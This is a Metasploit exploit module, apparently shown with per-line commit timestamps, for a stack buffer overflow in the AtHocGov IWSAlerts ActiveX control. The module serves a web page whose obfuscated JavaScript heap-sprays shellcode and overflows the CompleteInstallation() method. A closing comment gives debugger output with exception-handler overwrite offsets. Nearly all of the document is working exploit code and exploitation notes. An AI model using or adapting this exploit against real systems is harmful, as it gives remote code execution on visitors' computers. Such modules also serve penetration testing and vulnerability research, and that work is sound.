2010-04-30 08:40:19 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 13:50:46 -05:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-04-30 08:40:19 +00:00
|
|
|
##
|
2009-10-12 12:31:52 +00:00
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = NormalRanking
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(update_info(info,
|
|
|
|
|
'Name' => 'AtHocGov IWSAlerts ActiveX Control Buffer Overflow',
|
|
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in AtHocGov IWSAlerts. When
|
2010-03-10 05:58:01 +00:00
|
|
|
sending an overly long string to the CompleteInstallation() method of AtHocGovTBr.dll
|
2010-04-30 08:40:19 +00:00
|
|
|
(6.1.4.36) an attacker may be able to execute arbitrary code. This
|
2010-03-10 05:58:01 +00:00
|
|
|
vulnerability was silently patched by the vendor.
|
2009-10-12 12:31:52 +00:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
2010-04-30 08:40:19 +00:00
|
|
|
'Author' => [ 'MC' ],
|
2016-07-15 12:00:31 -05:00
|
|
|
'References' =>
|
|
|
|
|
[
|
|
|
|
|
[ 'OSVDB', '94557' ]
|
|
|
|
|
],
|
2009-10-12 12:31:52 +00:00
|
|
|
'DefaultOptions' =>
|
|
|
|
|
{
|
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
|
},
|
|
|
|
|
'Payload' =>
|
|
|
|
|
{
|
|
|
|
|
'Space' => 1024,
|
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
|
},
|
|
|
|
|
'Platform' => 'win',
|
|
|
|
|
'Targets' =>
|
|
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
|
2009-10-12 12:31:52 +00:00
|
|
|
],
|
2020-10-02 17:38:06 +01:00
|
|
|
'DisclosureDate' => '2008-02-15',
|
2009-10-12 12:31:52 +00:00
|
|
|
'DefaultTarget' => 0))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
|
2017-05-03 15:42:21 -05:00
|
|
|
])
|
2009-10-12 12:31:52 +00:00
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
def autofilter
|
|
|
|
|
false
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
def check_dependencies
|
|
|
|
|
use_zlib
|
|
|
|
|
end
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
|
# Re-generate the payload.
|
|
|
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
# Encode the shellcode.
|
|
|
|
|
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or cl,[edx]").encode_string * 2)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
js = %Q|
|
|
|
|
|
try {
|
|
|
|
|
var evil_string = "";
|
|
|
|
|
var index;
|
|
|
|
|
var vulnerable = new ActiveXObject('AtHocGovGSTlBar.GSHelper.1');
|
|
|
|
|
var my_unescape = unescape;
|
|
|
|
|
var shellcode = '#{shellcode}';
|
|
|
|
|
#{js_heap_spray}
|
|
|
|
|
sprayHeap(my_unescape(shellcode), 0x0a0a0a0a, 0x40000);
|
|
|
|
|
for (index = 0; index < 12500; index++) {
|
|
|
|
|
evil_string = evil_string + my_unescape('#{ret}');
|
|
|
|
|
}
|
|
|
|
|
vulnerable.CompleteInstallation(evil_string);
|
|
|
|
|
} catch( e ) { window.location = 'about:blank' ; }
|
|
|
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
opts = {
|
|
|
|
|
'Strings' => true,
|
|
|
|
|
'Symbols' => {
|
2010-04-30 08:40:19 +00:00
|
|
|
'Variables' => [
|
2009-10-12 12:31:52 +00:00
|
|
|
'vulnerable',
|
|
|
|
|
'shellcode',
|
|
|
|
|
'my_unescape',
|
|
|
|
|
'index',
|
|
|
|
|
'evil_string',
|
|
|
|
|
]
|
|
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
|
|
|
|
|
js.update_opts(js_heap_spray.opts)
|
2017-02-22 14:13:18 -05:00
|
|
|
js.obfuscate(memory_sensitive: true)
|
2009-10-12 12:31:52 +00:00
|
|
|
content = %Q|
|
|
|
|
|
<html>
|
|
|
|
|
<body>
|
|
|
|
|
<script><!--
|
|
|
|
|
#{js}
|
|
|
|
|
//</script>
|
|
|
|
|
</body>
|
|
|
|
|
</html>
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2012-04-20 13:31:42 -06:00
|
|
|
print_status("Sending #{self.name}")
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
# Transmit the response to the client
|
|
|
|
|
send_response_html(cli, content)
|
2013-08-30 16:28:54 -05:00
|
|
|
|
2009-10-12 12:31:52 +00:00
|
|
|
# Handle the payload
|
|
|
|
|
handler(cli)
|
|
|
|
|
end
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
=begin
|
|
|
|
|
IDL info...
|
2010-04-30 08:40:19 +00:00
|
|
|
[id(0x00000022)]
|
|
|
|
|
HRESULT CompleteInstallation([in] BSTR strParam);
|
2009-10-12 12:31:52 +00:00
|
|
|
|
|
|
|
|
$~/trunk/./msfpescan -f AtHocGovTBr.dll
|
|
|
|
|
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 EXE [165]
|
|
|
|
|
AtHocGovTBr.dll: Microsoft Visual C++ v7.1 DLL [159]
|
|
|
|
|
|
|
|
|
|
// smash /GS
|
|
|
|
|
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SecurityCookie
|
|
|
|
|
SecurityCookie 0x4278193c
|
|
|
|
|
|
|
|
|
|
// /SafeSEH, not today.
|
|
|
|
|
$~/trunk/./msfpescan -i AtHocGovTBr.dll | grep SEH
|
|
|
|
|
SEHandlerTable 0x42774e40
|
|
|
|
|
SEHandlerCount 0x0000021b
|
|
|
|
|
|
|
|
|
|
0:000> !exchain
|
|
|
|
|
0013cae0: ntdll!_except_handler3+0 (7c90ee18)
|
|
|
|
|
CRT scope 0, filter: ntdll!RtlFreeHeap+613 (7c93bec5)
|
|
|
|
|
func: ntdll!RtlFreeHeap+617 (7c93bece)
|
|
|
|
|
0013cb1c: AtHocGovTBr!SetOfflineInstall+a0b4 (4274f944)
|
|
|
|
|
0013dd9c: 61473161
|
|
|
|
|
Invalid exception stack at 47306147
|
|
|
|
|
0:000> !pattern_offset 5140 0x47306147
|
|
|
|
|
[Byakugan] Control of 0x47306147 at offset 4680.
|
|
|
|
|
0:000> !pattern_offset 5140 0x61473161
|
|
|
|
|
[Byakugan] Control of 0x61473161 at offset 4684.
|
|
|
|
|
=end
|
